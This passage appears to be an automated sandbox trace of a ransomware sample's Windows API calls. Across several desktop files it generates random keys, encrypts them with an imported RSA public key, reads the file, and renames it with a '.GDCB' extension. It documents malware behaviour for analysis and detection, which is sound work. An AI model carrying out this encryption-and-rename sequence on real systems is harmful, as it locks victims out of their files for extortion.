lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\ZdIFxnCVv1avem R.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\zdifxncvv1avem r.png.gdcb")) returned 1 [0136.970] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0136.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.971] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.971] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.971] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.972] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.972] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.972] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0136.974] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32ab30) returned 1 [0136.974] CryptGetKeyParam (in: hKey=0x32ab30, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.974] CryptEncrypt (in: hKey=0x32ab30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.974] GetLastError () returned 0x0 [0136.974] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.974] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.976] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32ad30) returned 1 [0136.976] CryptGetKeyParam (in: hKey=0x32ad30, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.976] CryptEncrypt (in: hKey=0x32ad30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.976] GetLastError () returned 0x0 [0136.976] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.976] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\BbF8suj7aJrWr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bbf8suj7ajrwr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.977] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.977] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.977] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x116dd, lpOverlapped=0x0) returned 1 [0136.992] VirtualAlloc (lpAddress=0x0, dwSize=0x116e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.998] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\BbF8suj7aJrWr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bbf8suj7ajrwr.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\BbF8suj7aJrWr.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bbf8suj7ajrwr.mp4.gdcb")) returned 1 [0136.999] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0136.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.000] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.000] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.000] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.000] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.000] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.000] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.002] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b270) returned 1 [0137.002] CryptGetKeyParam (in: hKey=0x32b270, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.002] CryptEncrypt (in: hKey=0x32b270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.003] GetLastError () returned 0x0 [0137.003] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.003] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.005] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b130) returned 1 [0137.005] CryptGetKeyParam (in: hKey=0x32b130, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.005] CryptEncrypt (in: hKey=0x32b130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.005] GetLastError () returned 0x0 [0137.005] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.005] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\brfsFSSqM P0x3ZmWLa7.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\brfsfssqm p0x3zmwla7.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.005] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.006] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.006] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x173b9, lpOverlapped=0x0) returned 1 [0137.015] VirtualAlloc (lpAddress=0x0, dwSize=0x173c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.021] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\brfsFSSqM P0x3ZmWLa7.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\brfsfssqm p0x3zmwla7.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\brfsFSSqM P0x3ZmWLa7.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\brfsfssqm p0x3zmwla7.mp4.gdcb")) returned 1 [0137.022] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.023] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.023] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.023] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.023] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0137.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.024] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.024] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.024] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.026] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32abf0) returned 1 [0137.026] CryptGetKeyParam (in: hKey=0x32abf0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.026] CryptEncrypt (in: hKey=0x32abf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.026] GetLastError () returned 0x0 [0137.026] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.026] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.030] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32aff0) returned 1 [0137.031] CryptGetKeyParam (in: hKey=0x32aff0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.031] CryptEncrypt (in: hKey=0x32aff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.031] GetLastError () returned 0x0 [0137.031] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.031] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C53kh.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c53kh.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.031] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.031] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.031] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x3738, lpOverlapped=0x0) returned 1 [0137.040] VirtualAlloc (lpAddress=0x0, dwSize=0x3740, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.071] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C53kh.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c53kh.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C53kh.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c53kh.swf.gdcb")) returned 1 [0137.073] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.073] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.074] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.074] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.074] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.074] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.074] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.076] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32acf0) returned 1 [0137.076] CryptGetKeyParam (in: hKey=0x32acf0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.076] CryptEncrypt (in: hKey=0x32acf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.076] GetLastError () returned 0x0 [0137.077] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.077] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0137.078] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b170) returned 1 [0137.078] CryptGetKeyParam (in: hKey=0x32b170, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.078] CryptEncrypt (in: hKey=0x32b170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.079] GetLastError () returned 0x0 [0137.079] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0137.079] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Dzbrs.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dzbrs.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.079] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.079] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.079] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x1872d, lpOverlapped=0x0) returned 1 [0137.085] VirtualAlloc (lpAddress=0x0, dwSize=0x18730, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.090] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Dzbrs.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dzbrs.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Dzbrs.pdf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dzbrs.pdf.gdcb")) returned 1 [0137.091] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.092] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.092] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.092] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.093] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.093] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.093] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.093] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.093] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0137.095] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b070) returned 1 [0137.096] CryptGetKeyParam (in: hKey=0x32b070, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.096] CryptEncrypt (in: hKey=0x32b070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.096] GetLastError () returned 0x0 [0137.096] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.096] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.098] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32af70) returned 1 [0137.098] CryptGetKeyParam (in: hKey=0x32af70, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.098] CryptEncrypt (in: hKey=0x32af70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.099] GetLastError () returned 0x0 [0137.099] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.099] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\EP7RDgDUv zXYJnd.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ep7rdgduv zxyjnd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.099] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.099] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.099] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x874a, lpOverlapped=0x0) returned 1 [0137.108] VirtualAlloc (lpAddress=0x0, dwSize=0x8750, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.113] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\EP7RDgDUv zXYJnd.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ep7rdgduv zxyjnd.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\EP7RDgDUv zXYJnd.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ep7rdgduv zxyjnd.xlsx.gdcb")) returned 1 [0137.115] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0137.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.116] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.116] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.116] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.116] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.116] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.116] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.119] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b1b0) returned 1 [0137.119] CryptGetKeyParam (in: hKey=0x32b1b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.119] CryptEncrypt (in: hKey=0x32b1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.119] GetLastError () returned 0x0 [0137.119] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.119] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.121] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32ae30) returned 1 [0137.121] CryptGetKeyParam (in: hKey=0x32ae30, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.121] CryptEncrypt (in: hKey=0x32ae30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.121] GetLastError () returned 0x0 [0137.121] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.121] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FklQtdWtufGJ1mB.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fklqtdwtufgj1mb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.122] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.122] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.122] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x4426, lpOverlapped=0x0) returned 1 [0137.131] VirtualAlloc (lpAddress=0x0, dwSize=0x4430, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.135] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FklQtdWtufGJ1mB.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fklqtdwtufgj1mb.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FklQtdWtufGJ1mB.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fklqtdwtufgj1mb.flv.gdcb")) returned 1 [0137.136] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.137] 